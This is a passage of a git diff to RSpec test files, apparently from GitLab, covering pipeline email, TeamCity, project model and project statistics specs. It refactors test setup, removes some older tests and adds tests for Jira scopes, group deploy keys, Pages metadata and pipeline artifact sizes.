context 'with succeeded pipeline' do
before do
data[:object_attributes][:status] = 'success'
- pipeline.update(status: 'success')
+ pipeline.update!(status: 'success')
end
it_behaves_like 'not sending email'
@@ -206,7 +206,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'on default branch' do
before do
data[:object_attributes][:ref] = project.default_branch
- pipeline.update(ref: project.default_branch)
+ pipeline.update!(ref: project.default_branch)
end
context 'notifications are enabled only for default branch' do
@@ -230,7 +230,7 @@ RSpec.describe PipelinesEmailService, :mailer do
before do
create(:protected_branch, project: project, name: 'a-protected-branch')
data[:object_attributes][:ref] = 'a-protected-branch'
- pipeline.update(ref: 'a-protected-branch')
+ pipeline.update!(ref: 'a-protected-branch')
end
context 'notifications are enabled only for default branch' do
@@ -253,7 +253,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'on a neither protected nor default branch' do
before do
data[:object_attributes][:ref] = 'a-random-branch'
- pipeline.update(ref: 'a-random-branch')
+ pipeline.update!(ref: 'a-random-branch')
end
context 'notifications are enabled only for default branch' do
@@ -281,7 +281,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'with failed pipeline' do
before do
data[:object_attributes][:status] = 'failed'
- pipeline.update(status: 'failed')
+ pipeline.update!(status: 'failed')
end
it_behaves_like 'not sending email'
@@ -295,7 +295,7 @@ RSpec.describe PipelinesEmailService, :mailer do
context 'with failed pipeline' do
before do
data[:object_attributes][:status] = 'failed'
- pipeline.update(status: 'failed')
+ pipeline.update!(status: 'failed')
end
it_behaves_like 'sending email'
diff --git a/spec/models/project_services/teamcity_service_spec.rb b/spec/models/project_services/teamcity_service_spec.rb
index a3fda33664a..f71dad86a08 100644
--- a/spec/models/project_services/teamcity_service_spec.rb
+++ b/spec/models/project_services/teamcity_service_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe TeamcityService, :use_clean_rails_memory_store_caching do
let(:project) { create(:project) }
subject(:service) do
- described_class.create(
+ described_class.create!(
project: project,
properties: {
teamcity_url: teamcity_url,
@@ -85,7 +85,7 @@ RSpec.describe TeamcityService, :use_clean_rails_memory_store_caching do
teamcity_service = service
teamcity_service.teamcity_url = 'http://gitlab1.com'
- teamcity_service.save
+ teamcity_service.save!
expect(teamcity_service.password).to be_nil
end
@@ -94,7 +94,7 @@ RSpec.describe TeamcityService, :use_clean_rails_memory_store_caching do
teamcity_service = service
teamcity_service.username = 'some_name'
- teamcity_service.save
+ teamcity_service.save!
expect(teamcity_service.password).to eq('password')
end
@@ -104,7 +104,7 @@ RSpec.describe TeamcityService, :use_clean_rails_memory_store_caching do
teamcity_service.teamcity_url = 'http://gitlab_edited.com'
teamcity_service.password = 'password'
- teamcity_service.save
+ teamcity_service.save!
expect(teamcity_service.password).to eq('password')
expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
@@ -117,7 +117,7 @@ RSpec.describe TeamcityService, :use_clean_rails_memory_store_caching do
teamcity_service.teamcity_url = 'http://gitlab_edited.com'
teamcity_service.password = 'password'
- teamcity_service.save
+ teamcity_service.save!
expect(teamcity_service.password).to eq('password')
expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index f589589af8f..fe971832695 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -61,6 +61,7 @@ RSpec.describe Project do
it { is_expected.to have_one(:youtrack_service) }
it { is_expected.to have_one(:custom_issue_tracker_service) }
it { is_expected.to have_one(:bugzilla_service) }
+ it { is_expected.to have_one(:ewm_service) }
it { is_expected.to have_one(:external_wiki_service) }
it { is_expected.to have_one(:confluence_service) }
it { is_expected.to have_one(:project_feature) }
@@ -84,7 +85,6 @@ RSpec.describe Project do
it { is_expected.to have_many(:runners) }
it { is_expected.to have_many(:variables) }
it { is_expected.to have_many(:triggers) }
- it { is_expected.to have_many(:pages_domains) }
it { is_expected.to have_many(:labels).class_name('ProjectLabel') }
it { is_expected.to have_many(:users_star_projects) }
it { is_expected.to have_many(:repository_languages) }
@@ -124,6 +124,11 @@ RSpec.describe Project do
it { is_expected.to have_many(:package_files).class_name('Packages::PackageFile') }
it { is_expected.to have_many(:pipeline_artifacts) }
+ # GitLab Pages
+ it { is_expected.to have_many(:pages_domains) }
+ it { is_expected.to have_one(:pages_metadatum) }
+ it { is_expected.to have_many(:pages_deployments) }
+
it_behaves_like 'model with repository' do
let_it_be(:container) { create(:project, :repository, path: 'somewhere') }
let(:stubbed_container) { build_stubbed(:project) }
@@ -131,7 +136,7 @@ RSpec.describe Project do
end
it_behaves_like 'model with wiki' do
- let(:container) { create(:project, :wiki_repo) }
+ let_it_be(:container) { create(:project, :wiki_repo) }
let(:container_without_wiki) { create(:project) }
end
@@ -202,11 +207,11 @@ RSpec.describe Project do
end
describe '#members & #requesters' do
- let(:project) { create(:project, :public) }
- let(:requester) { create(:user) }
- let(:developer) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:requester) { create(:user) }
+ let_it_be(:developer) { create(:user) }
- before do
+ before_all do
project.request_access(requester)
project.add_developer(developer)
end
@@ -453,9 +458,9 @@ RSpec.describe Project do
end
describe '#all_pipelines' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
- before do
+ before_all do
create(:ci_pipeline, project: project, ref: 'master', source: :web)
create(:ci_pipeline, project: project, ref: 'master', source: :external)
end
@@ -477,7 +482,7 @@ RSpec.describe Project do
end
describe '#has_packages?' do
- let(:project) { create(:project, :public) }
+ let_it_be(:project) { create(:project, :public) }
subject { project.has_packages?(package_type) }
@@ -517,14 +522,15 @@ RSpec.describe Project do
end
describe '#ci_pipelines' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
- before do
+ before_all do
create(:ci_pipeline, project: project, ref: 'master', source: :web)
create(:ci_pipeline, project: project, ref: 'master', source: :external)
+ create(:ci_pipeline, project: project, ref: 'master', source: :webide)
end
- it 'has ci pipelines' do
+ it 'excludes dangling pipelines such as :webide' do
expect(project.ci_pipelines.size).to eq(2)
end
@@ -542,7 +548,7 @@ RSpec.describe Project do
describe '#autoclose_referenced_issues' do
context 'when DB entry is nil' do
- let(:project) { create(:project, autoclose_referenced_issues: nil) }
+ let(:project) { build(:project, autoclose_referenced_issues: nil) }
it 'returns true' do
expect(project.autoclose_referenced_issues).to be_truthy
@@ -550,7 +556,7 @@ RSpec.describe Project do
end
context 'when DB entry is true' do
- let(:project) { create(:project, autoclose_referenced_issues: true) }
+ let(:project) { build(:project, autoclose_referenced_issues: true) }
it 'returns true' do
expect(project.autoclose_referenced_issues).to be_truthy
@@ -558,7 +564,7 @@ RSpec.describe Project do
end
context 'when DB entry is false' do
- let(:project) { create(:project, autoclose_referenced_issues: false) }
+ let(:project) { build(:project, autoclose_referenced_issues: false) }
it 'returns false' do
expect(project.autoclose_referenced_issues).to be_falsey
@@ -768,8 +774,8 @@ RSpec.describe Project do
end
describe "#new_issuable_address" do
- let(:project) { create(:project, path: "somewhere") }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project, path: "somewhere") }
+ let_it_be(:user) { create(:user) }
context 'incoming email enabled' do
before do
@@ -850,11 +856,11 @@ RSpec.describe Project do
end
describe '#get_issue' do
- let(:project) { create(:project) }
- let!(:issue) { create(:issue, project: project) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let!(:issue) { create(:issue, project: project) }
- before do
+ before_all do
project.add_developer(user)
end
@@ -926,7 +932,7 @@ RSpec.describe Project do
end
describe '#issue_exists?' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
it 'is truthy when issue exists' do
expect(project).to receive(:get_issue).and_return(double)
@@ -1019,7 +1025,7 @@ RSpec.describe Project do
end
describe '#cache_has_external_issue_tracker' do
- let(:project) { create(:project, has_external_issue_tracker: nil) }
+ let_it_be(:project) { create(:project, has_external_issue_tracker: nil) }
it 'stores true if there is any external_issue_tracker' do
services = double(:service, external_issue_trackers: [RedmineService.new])
@@ -1049,7 +1055,7 @@ RSpec.describe Project do
end
describe '#cache_has_external_wiki' do
- let(:project) { create(:project, has_external_wiki: nil) }
+ let_it_be(:project) { create(:project, has_external_wiki: nil) }
it 'stores true if there is any external_wikis' do
services = double(:service, external_wikis: [ExternalWikiService.new])
@@ -1115,7 +1121,7 @@ RSpec.describe Project do
end
describe '#external_wiki' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
context 'with an active external wiki' do
before do
@@ -1268,60 +1274,6 @@ RSpec.describe Project do
end
end
- describe '#pipeline_for' do
- let(:project) { create(:project, :repository) }
-
- shared_examples 'giving the correct pipeline' do
- it { is_expected.to eq(pipeline) }
-
- context 'return latest' do
- let!(:pipeline2) { create_pipeline(project) }
-
- it { is_expected.to eq(pipeline2) }
- end
- end
-
- context 'with a matching pipeline' do
- let!(:pipeline) { create_pipeline(project) }
-
- context 'with explicit sha' do
- subject { project.pipeline_for('master', pipeline.sha) }
-
- it_behaves_like 'giving the correct pipeline'
-
- context 'with supplied id' do
- let!(:other_pipeline) { create_pipeline(project) }
-
- subject { project.pipeline_for('master', pipeline.sha, other_pipeline.id) }
-
- it { is_expected.to eq(other_pipeline) }
- end
- end
-
- context 'with implicit sha' do
- subject { project.pipeline_for('master') }
-
- it_behaves_like 'giving the correct pipeline'
- end
- end
-
- context 'when there is no matching pipeline' do
- subject { project.pipeline_for('master') }
-
- it { is_expected.to be_nil }
- end
- end
-
- describe '#pipelines_for' do
- let(:project) { create(:project, :repository) }
- let!(:pipeline) { create_pipeline(project) }
- let!(:other_pipeline) { create_pipeline(project) }
-
- subject { project.pipelines_for(project.default_branch, project.commit.sha) }
-
- it { is_expected.to contain_exactly(pipeline, other_pipeline) }
- end
-
describe '#builds_enabled' do
let(:project) { create(:project) }
@@ -1362,6 +1314,36 @@ RSpec.describe Project do
end
end
+ describe '.with_active_jira_services' do
+ it 'returns the correct project' do
+ active_jira_service = create(:jira_service)
+ active_service = create(:service, active: true)
+
+ expect(described_class.with_active_jira_services).to include(active_jira_service.project)
+ expect(described_class.with_active_jira_services).not_to include(active_service.project)
+ end
+ end
+
+ describe '.with_jira_dvcs_cloud' do
+ it 'returns the correct project' do
+ jira_dvcs_cloud_project = create(:project, :jira_dvcs_cloud)
+ jira_dvcs_server_project = create(:project, :jira_dvcs_server)
+
+ expect(described_class.with_jira_dvcs_cloud).to include(jira_dvcs_cloud_project)
+ expect(described_class.with_jira_dvcs_cloud).not_to include(jira_dvcs_server_project)
+ end
+ end
+
+ describe '.with_jira_dvcs_server' do
+ it 'returns the correct project' do
+ jira_dvcs_server_project = create(:project, :jira_dvcs_server)
+ jira_dvcs_cloud_project = create(:project, :jira_dvcs_cloud)
+
+ expect(described_class.with_jira_dvcs_server).to include(jira_dvcs_server_project)
+ expect(described_class.with_jira_dvcs_server).not_to include(jira_dvcs_cloud_project)
+ end
+ end
+
describe '.cached_count', :use_clean_rails_memory_store_caching do
let(:group) { create(:group, :public) }
let!(:project1) { create(:project, :public, group: group) }
@@ -1759,7 +1741,7 @@ RSpec.describe Project do
end
describe '#visibility_level_allowed?' do
- let(:project) { create(:project, :internal) }
+ let_it_be(:project) { create(:project, :internal) }
context 'when checking on non-forked project' do
it { expect(project.visibility_level_allowed?(Gitlab::VisibilityLevel::PRIVATE)).to be_truthy }
@@ -1768,7 +1750,6 @@ RSpec.describe Project do
end
context 'when checking on forked project' do
- let(:project) { create(:project, :internal) }
let(:forked_project) { fork_project(project) }
it { expect(forked_project.visibility_level_allowed?(Gitlab::VisibilityLevel::PRIVATE)).to be_truthy }
@@ -1953,7 +1934,7 @@ RSpec.describe Project do
end
describe '.optionally_search' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
it 'searches for projects matching the query if one is given' do
relation = described_class.optionally_search(project.name)
@@ -2010,7 +1991,7 @@ RSpec.describe Project do
end
describe '.search_by_title' do
- let(:project) { create(:project, name: 'kittens') }
+ let_it_be(:project) { create(:project, name: 'kittens') }
it 'returns projects with a matching name' do
expect(described_class.search_by_title(project.name)).to eq([project])
@@ -2026,11 +2007,11 @@ RSpec.describe Project do
end
context 'when checking projects from groups' do
- let(:private_group) { create(:group, visibility_level: 0) }
- let(:internal_group) { create(:group, visibility_level: 10) }
+ let(:private_group) { build(:group, visibility_level: 0) }
+ let(:internal_group) { build(:group, visibility_level: 10) }
- let(:private_project) { create(:project, :private, group: private_group) }
- let(:internal_project) { create(:project, :internal, group: internal_group) }
+ let(:private_project) { build(:project, :private, group: private_group) }
+ let(:internal_project) { build(:project, :internal, group: internal_group) }
context 'when group is private project can not be internal' do
it { expect(private_project.visibility_level_allowed?(Gitlab::VisibilityLevel::INTERNAL)).to be_falsey }
@@ -2094,7 +2075,7 @@ RSpec.describe Project do
end
describe '#create_repository' do
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { build(:project, :repository) }
context 'using a regular repository' do
it 'creates the repository' do
@@ -2120,7 +2101,7 @@ RSpec.describe Project do
end
describe '#ensure_repository' do
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { build(:project, :repository) }
it 'creates the repository if it not exist' do
allow(project).to receive(:repository_exists?).and_return(false)
@@ -2174,7 +2155,7 @@ RSpec.describe Project do
end
describe '#container_registry_url' do
- let(:project) { create(:project) }
+ let_it_be(:project) { build(:project) }
subject { project.container_registry_url }
@@ -2201,7 +2182,7 @@ RSpec.describe Project do
end
describe '#has_container_registry_tags?' do
- let(:project) { create(:project) }
+ let(:project) { build(:project) }
context 'when container registry is enabled' do
before do
@@ -2267,7 +2248,7 @@ RSpec.describe Project do
describe '#ci_config_path=' do
using RSpec::Parameterized::TableSyntax
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
where(:default_ci_config_path, :project_ci_config_path, :expected_ci_config_path) do
nil | :notset | :default
@@ -2322,8 +2303,8 @@ RSpec.describe Project do
end
describe '#latest_successful_build_for_ref' do
- let(:project) { create(:project, :repository) }
- let(:pipeline) { create_pipeline(project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:pipeline) { create_pipeline(project) }
it_behaves_like 'latest successful build for sha or ref'
@@ -2338,47 +2319,95 @@ RSpec.describe Project do
end
end
- describe '#latest_pipeline_for_ref' do
- let(:project) { create(:project, :repository) }
+ describe '#latest_pipeline' do
+ let_it_be(:project) { create(:project, :repository) }
let(:second_branch) { project.repository.branches[2] }
let!(:pipeline_for_default_branch) do
- create(:ci_empty_pipeline, project: project, sha: project.commit.id,
- ref: project.default_branch)
+ create(:ci_pipeline, project: project, sha: project.commit.id,
+ ref: project.default_branch)
end
let!(:pipeline_for_second_branch) do
- create(:ci_empty_pipeline, project: project, sha: second_branch.target,
- ref: second_branch.name)
+ create(:ci_pipeline, project: project, sha: second_branch.target,
+ ref: second_branch.name)
end
- before do
- create(:ci_empty_pipeline, project: project, sha: project.commit.parent.id,
- ref: project.default_branch)
+ let!(:other_pipeline_for_default_branch) do
+ create(:ci_pipeline, project: project, sha: project.commit.parent.id,
+ ref: project.default_branch)
end
context 'default repository branch' do
- subject { project.latest_pipeline_for_ref(project.default_branch) }
+ context 'when explicitly provided' do
+ subject { project.latest_pipeline(project.default_branch) }
+
+ it { is_expected.to eq(pipeline_for_default_branch) }
+ end
+
+ context 'when not provided' do
+ subject { project.latest_pipeline }
+
+ it { is_expected.to eq(pipeline_for_default_branch) }
+ end
+
+ context 'with provided sha' do
+ subject { project.latest_pipeline(project.default_branch, project.commit.parent.id) }
- it { is_expected.to eq(pipeline_for_default_branch) }
+ it { is_expected.to eq(other_pipeline_for_default_branch) }
+ end
end
context 'provided ref' do
- subject { project.latest_pipeline_for_ref(second_branch.name) }
+ subject { project.latest_pipeline(second_branch.name) }
it { is_expected.to eq(pipeline_for_second_branch) }
+
+ context 'with provided sha' do
+ let!(:latest_pipeline_for_ref) do
+ create(:ci_pipeline, project: project, sha: pipeline_for_second_branch.sha,
+ ref: pipeline_for_second_branch.ref)
+ end
+
+ subject { project.latest_pipeline(second_branch.name, second_branch.target) }
+
+ it { is_expected.to eq(latest_pipeline_for_ref) }
+ end
end
context 'bad ref' do
- subject { project.latest_pipeline_for_ref(SecureRandom.uuid) }
+ before do
+ # ensure we don't skip the filter by ref by mistakenly return this pipeline
+ create(:ci_pipeline, project: project)
+ end
+
+ subject { project.latest_pipeline(SecureRandom.uuid) }
it { is_expected.to be_nil }
end
+
+ context 'on deleted ref' do
+ let(:branch) { project.repository.branches.last }
+
+ let!(:pipeline_on_deleted_ref) do
+ create(:ci_pipeline, project: project, sha: branch.target, ref: branch.name)
+ end
+
+ before do
+ project.repository.rm_branch(project.owner, branch.name)
+ end
+
+ subject { project.latest_pipeline(branch.name) }
+
+ it 'always returns nil despite a pipeline exists' do
+ expect(subject).to be_nil
+ end
+ end
end
describe '#latest_successful_build_for_sha' do
- let(:project) { create(:project, :repository) }
- let(:pipeline) { create_pipeline(project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:pipeline) { create_pipeline(project) }
it_behaves_like 'latest successful build for sha or ref'
@@ -2386,8 +2415,8 @@ RSpec.describe Project do
end
describe '#latest_successful_build_for_ref!' do
- let(:project) { create(:project, :repository) }
- let(:pipeline) { create_pipeline(project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:pipeline) { create_pipeline(project) }
context 'with many builds' do
it 'gives the latest builds from latest pipeline' do
@@ -2460,7 +2489,7 @@ RSpec.describe Project do
end
describe '#jira_import_status' do
- let(:project) { create(:project, import_type: 'jira') }
+ let_it_be(:project) { create(:project, import_type: 'jira') }
context 'when no jira imports' do
it 'returns none' do
@@ -2666,7 +2695,7 @@ RSpec.describe Project do
end
describe '#remote_mirror_available?' do
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
context 'when remote mirror global setting is enabled' do
it 'returns true' do
@@ -2707,10 +2736,10 @@ RSpec.describe Project do
end
describe '#ancestors_upto' do
- let(:parent) { create(:group) }
- let(:child) { create(:group, parent: parent) }
- let(:child2) { create(:group, parent: child) }
- let(:project) { create(:project, namespace: child2) }
+ let_it_be(:parent) { create(:group) }
+ let_it_be(:child) { create(:group, parent: parent) }
+ let_it_be(:child2) { create(:group, parent: child) }
+ let_it_be(:project) { create(:project, namespace: child2) }
it 'returns all ancestors when no namespace is given' do
expect(project.ancestors_upto).to contain_exactly(child2, child, parent)
@@ -2755,7 +2784,7 @@ RSpec.describe Project do
end
describe '#emails_disabled?' do
- let(:project) { create(:project, emails_disabled: false) }
+ let(:project) { build(:project, emails_disabled: false) }
context 'emails disabled in group' do
it 'returns true' do
@@ -2783,7 +2812,7 @@ RSpec.describe Project do
end
describe '#lfs_enabled?' do
- let(:project) { create(:project) }
+ let(:project) { build(:project) }
shared_examples 'project overrides group' do
it 'returns true when enabled in project' do
@@ -2845,7 +2874,7 @@ RSpec.describe Project do
end
describe '#change_head' do
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { create(:project, :repository) }
it 'returns error if branch does not exist' do
expect(project.change_head('unexisted-branch')).to be false
@@ -2876,6 +2905,20 @@ RSpec.describe Project do
end
end
+ describe '#lfs_objects_for_repository_types' do
+ let(:project) { create(:project) }
+
+ it 'returns LFS objects of the specified type only' do
+ none, design, wiki = *[nil, :design, :wiki].map do |type|
+ create(:lfs_objects_project, project: project, repository_type: type).lfs_object
+ end
+
+ expect(project.lfs_objects_for_repository_types(nil)).to contain_exactly(none)
+ expect(project.lfs_objects_for_repository_types(nil, :wiki)).to contain_exactly(none, wiki)
+ expect(project.lfs_objects_for_repository_types(:design)).to contain_exactly(design)
+ end
+ end
+
context 'forks' do
include ProjectForksHelper
@@ -2951,68 +2994,6 @@ RSpec.describe Project do
expect(project.forks).to contain_exactly(forked_project)
end
end
-
- describe '#lfs_storage_project' do
- it 'returns self for non-forks' do
- expect(project.lfs_storage_project).to eq project
- end
-
- it 'returns the fork network root for forks' do
- second_fork = fork_project(forked_project)
-
- expect(second_fork.lfs_storage_project).to eq project
- end
-
- it 'returns self when fork_source is nil' do
- expect(forked_project).to receive(:fork_source).and_return(nil)
-
- expect(forked_project.lfs_storage_project).to eq forked_project
- end
- end
-
- describe '#all_lfs_objects' do
- let(:lfs_object) { create(:lfs_object) }
-
- context 'when LFS object is only associated to the source' do
- before do
- project.lfs_objects << lfs_object
- end
-
- it 'returns the lfs object for a project' do
- expect(project.all_lfs_objects).to contain_exactly(lfs_object)
- end
-
- it 'returns the lfs object for a fork' do
- expect(forked_project.all_lfs_objects).to contain_exactly(lfs_object)
- end
- end
-
- context 'when LFS object is only associated to the fork' do
- before do
- forked_project.lfs_objects << lfs_object
- end
-
- it 'returns nothing' do
- expect(project.all_lfs_objects).to be_empty
- end
-
- it 'returns the lfs object for a fork' do
- expect(forked_project.all_lfs_objects).to contain_exactly(lfs_object)
- end
- end
-
- context 'when LFS object is associated to both source and fork' do
- before do
- project.lfs_objects << lfs_object
- forked_project.lfs_objects << lfs_object
- end
-
- it 'returns the lfs object for the source and fork' do
- expect(project.all_lfs_objects).to contain_exactly(lfs_object)
- expect(forked_project.all_lfs_objects).to contain_exactly(lfs_object)
- end
- end
- end
end
describe '#set_repository_read_only!' do
@@ -3040,7 +3021,7 @@ RSpec.describe Project do
end
describe '#pushes_since_gc' do
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
after do
project.reset_pushes_since_gc
@@ -3062,7 +3043,7 @@ RSpec.describe Project do
end
describe '#increment_pushes_since_gc' do
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
after do
project.reset_pushes_since_gc
@@ -3076,7 +3057,7 @@ RSpec.describe Project do
end
describe '#reset_pushes_since_gc' do
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
after do
project.reset_pushes_since_gc
@@ -3092,7 +3073,7 @@ RSpec.describe Project do
end
describe '#deployment_variables' do
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
let(:environment) { 'production' }
let(:namespace) { 'namespace' }
@@ -3169,7 +3150,7 @@ RSpec.describe Project do
end
describe '#default_environment' do
- let(:project) { create(:project) }
+ let(:project) { build(:project) }
it 'returns production environment when it exists' do
production = create(:environment, name: "production", project: project)
@@ -3191,7 +3172,7 @@ RSpec.describe Project do
end
describe '#ci_variables_for' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
let(:environment_scope) { '*' }
let!(:ci_variable) do
@@ -3346,7 +3327,7 @@ RSpec.describe Project do
end
describe '#ci_instance_variables_for' do
- let(:project) { create(:project) }
+ let(:project) { build_stubbed(:project) }
let!(:instance_variable) do
create(:ci_instance_variable, value: 'secret')
@@ -5831,32 +5812,57 @@ RSpec.describe Project do
end
end
- context 'pages deployed' do
+ describe '#mark_pages_as_deployed' do
let(:project) { create(:project) }
+ let(:artifacts_archive) { create(:ci_job_artifact, project: project) }
- {
- mark_pages_as_deployed: true,
- mark_pages_as_not_deployed: false
- }.each do |method_name, flag|
- describe method_name do
- it "creates new record and sets deployed to #{flag} if none exists yet" do
- project.pages_metadatum.destroy!
- project.reload
+ it "works when artifacts_archive is missing" do
+ project.mark_pages_as_deployed
- project.send(method_name)
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
+ end
- expect(project.pages_metadatum.reload.deployed).to eq(flag)
- end
+ it "creates new record and sets deployed to true if none exists yet" do
+ project.pages_metadatum.destroy!
+ project.reload
- it "updates the existing record and sets deployed to #{flag}" do
- pages_metadatum = project.pages_metadatum
- pages_metadatum.update!(deployed: !flag)
+ project.mark_pages_as_deployed(artifacts_archive: artifacts_archive)
- expect { project.send(method_name) }.to change {
- pages_metadatum.reload.deployed
- }.from(!flag).to(flag)
- end
- end
+ expect(project.pages_metadatum.reload.deployed).to eq(true)
+ end
+
+ it "updates the existing record and sets deployed to true and records artifact archive" do
+ pages_metadatum = project.pages_metadatum
+ pages_metadatum.update!(deployed: false)
+
+ expect do
+ project.mark_pages_as_deployed(artifacts_archive: artifacts_archive)
+ end.to change { pages_metadatum.reload.deployed }.from(false).to(true)
+ .and change { pages_metadatum.reload.artifacts_archive }.from(nil).to(artifacts_archive)
+ end
+ end
+
+ describe '#mark_pages_as_not_deployed' do
+ let(:project) { create(:project) }
+ let(:artifacts_archive) { create(:ci_job_artifact, project: project) }
+
+ it "creates new record and sets deployed to false if none exists yet" do
+ project.pages_metadatum.destroy!
+ project.reload
+
+ project.mark_pages_as_not_deployed
+
+ expect(project.pages_metadatum.reload.deployed).to eq(false)
+ end
+
+ it "updates the existing record and sets deployed to false and clears artifacts_archive" do
+ pages_metadatum = project.pages_metadatum
+ pages_metadatum.update!(deployed: true, artifacts_archive: artifacts_archive)
+
+ expect do
+ project.mark_pages_as_not_deployed
+ end.to change { pages_metadatum.reload.deployed }.from(true).to(false)
+ .and change { pages_metadatum.reload.artifacts_archive }.from(artifacts_archive).to(nil)
end
end
@@ -6043,6 +6049,18 @@ RSpec.describe Project do
end
end
+ describe '#jira_subscription_exists?' do
+ let(:project) { create(:project) }
+
+ subject { project.jira_subscription_exists? }
+
+ context 'jira connect subscription exists' do
+ let!(:jira_connect_subscription) { create(:jira_connect_subscription, namespace: project.namespace) }
+
+ it { is_expected.to eq(true) }
+ end
+ end
+
describe 'with services and chat names' do
subject { create(:project) }
@@ -6088,53 +6106,6 @@ RSpec.describe Project do
end
end
- describe '#all_lfs_objects_oids' do
- let(:project) { create(:project) }
- let(:lfs_object) { create(:lfs_object) }
- let(:another_lfs_object) { create(:lfs_object) }
-
- subject { project.all_lfs_objects_oids }
-
- context 'when project has associated LFS objects' do
- before do
- create(:lfs_objects_project, lfs_object: lfs_object, project: project)
- create(:lfs_objects_project, lfs_object: another_lfs_object, project: project)
- end
-
- it 'returns OIDs of LFS objects' do
- expect(subject).to match_array([lfs_object.oid, another_lfs_object.oid])
- end
-
- context 'and there are specified oids' do
- subject { project.all_lfs_objects_oids(oids: [lfs_object.oid]) }
-
- it 'returns OIDs of LFS objects that match specified oids' do
- expect(subject).to eq([lfs_object.oid])
- end
- end
- end
-
- context 'when fork has associated LFS objects to itself and source' do
- let(:source) { create(:project) }
- let(:project) { fork_project(source) }
-
- before do
- create(:lfs_objects_project, lfs_object: lfs_object, project: source)
- create(:lfs_objects_project, lfs_object: another_lfs_object, project: project)
- end
-
- it 'returns OIDs of LFS objects' do
- expect(subject).to match_array([lfs_object.oid, another_lfs_object.oid])
- end
- end
-
- context 'when project has no associated LFS objects' do
- it 'returns empty array' do
- expect(subject).to be_empty
- end
- end
- end
-
describe '#lfs_objects_oids' do
let(:project) { create(:project) }
let(:lfs_object) { create(:lfs_object) }
@@ -6475,6 +6446,49 @@ RSpec.describe Project do
end
end
+ describe '#enabled_group_deploy_keys' do
+ let_it_be(:project) { create(:project) }
+
+ subject { project.enabled_group_deploy_keys }
+
+ context 'when a project does not have a group' do
+ it { is_expected.to be_empty }
+ end
+
+ context 'when a project has a parent group' do
+ let!(:group) { create(:group, projects: [project]) }
+
+ context 'and this group has a group deploy key enabled' do
+ let!(:group_deploy_key) { create(:group_deploy_key, groups: [group]) }
+
+ it { is_expected.to contain_exactly(group_deploy_key) }
+
+ context 'and this group has parent group which also has a group deploy key enabled' do
+ let(:super_group) { create(:group) }
+
+ it 'returns both group deploy keys' do
+ super_group = create(:group)
+ super_group_deploy_key = create(:group_deploy_key, groups: [super_group])
+ group.update!(parent: super_group)
+
+ expect(subject).to contain_exactly(group_deploy_key, super_group_deploy_key)
+ end
+ end
+ end
+
+ context 'and another group has a group deploy key enabled' do
+ let_it_be(:group_deploy_key) { create(:group_deploy_key) }
+
+ it 'does not return this group deploy key' do
+ another_group = create(:group)
+ create(:group_deploy_key, groups: [another_group])
+
+ expect(subject).to be_empty
+ end
+ end
+ end
+ end
+
def finish_job(export_job)
export_job.start
export_job.finish
diff --git a/spec/models/project_statistics_spec.rb b/spec/models/project_statistics_spec.rb
index 5f66de3a63c..383fabcfffb 100644
--- a/spec/models/project_statistics_spec.rb
+++ b/spec/models/project_statistics_spec.rb
@@ -32,8 +32,9 @@ RSpec.describe ProjectStatistics do
repository_size: 2.exabytes,
wiki_size: 1.exabytes,
lfs_objects_size: 2.exabytes,
- build_artifacts_size: 2.exabytes - 1,
- snippets_size: 1.exabyte
+ build_artifacts_size: 1.exabyte,
+ snippets_size: 1.exabyte,
+ pipeline_artifacts_size: 1.exabyte - 1
)
statistics.reload
@@ -42,9 +43,10 @@ RSpec.describe ProjectStatistics do
expect(statistics.repository_size).to eq(2.exabytes)
expect(statistics.wiki_size).to eq(1.exabytes)
expect(statistics.lfs_objects_size).to eq(2.exabytes)
- expect(statistics.build_artifacts_size).to eq(2.exabytes - 1)
+ expect(statistics.build_artifacts_size).to eq(1.exabyte)
expect(statistics.storage_size).to eq(8.exabytes - 1)
expect(statistics.snippets_size).to eq(1.exabyte)
+ expect(statistics.pipeline_artifacts_size).to eq(1.exabyte - 1)
end
end
@@ -282,12 +284,13 @@ RSpec.describe ProjectStatistics do
repository_size: 2,
wiki_size: 4,
lfs_objects_size: 3,
- snippets_size: 2
+ snippets_size: 2,
+ pipeline_artifacts_size: 3
)
statistics.reload
- expect(statistics.storage_size).to eq 11
+ expect(statistics.storage_size).to eq 14
end
it 'works during wiki_size backfill' do
@@ -339,6 +342,12 @@ RSpec.describe ProjectStatistics do
it_behaves_like 'a statistic that increases storage_size'
end
+ context 'when adjusting :pipeline_artifacts_size' do
+ let(:stat) { :pipeline_artifacts_size }
+
+ it_behaves_like 'a statistic that increases storage_size'
+ end
+
context 'when adjusting :packages_size' do
let(:stat) { :packages_size }
diff --git a/spec/models/project_team_spec.rb b/spec/models/project_team_spec.rb
index 34ec856459c..bbc056889d6 100644
--- a/spec/models/project_team_spec.rb
